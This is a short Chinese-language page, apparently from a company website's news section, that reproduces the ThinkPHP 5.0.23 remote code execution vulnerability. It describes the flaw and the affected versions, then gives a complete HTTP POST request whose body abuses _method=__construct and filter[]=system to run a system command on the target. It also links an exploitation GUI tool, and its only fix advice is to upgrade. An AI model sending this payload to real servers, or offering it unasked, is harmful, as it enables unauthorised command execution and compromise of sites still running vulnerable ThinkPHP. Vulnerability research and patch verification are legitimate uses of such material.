关于我们

质量为本、客户为根、勇于拼搏、务实创新

< 返回新闻公共列表

ThinkPHP5 5.0.23 远程代码执行漏洞 漏洞复现

发布时间:2023-06-26 09:57:37

01 漏洞描述

Thinkphp是一个国内轻量级的开发框架。其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

02 影响范围

5.0< ThinkPHP<5.0.23 5.1< ThinkPHP<5.1.31

03 利用方式

一、手工利用构造POST请求包执行系统命令

POST /index.php?s=captcha HTTP/1.1Host: 127.0.0.1:8080User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeContent-Type: application/x-www-form-urlencodedUpgrade-Insecure-Requests: 1

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id




二、工具利用直接命令执行

利用工具ThinkphpGUI:https://github.com/Lotus6/ThinkphpGUI


04 修复方案

建议进行ThinkPHP版本更新。


/template/Home/leiyu/PC/Static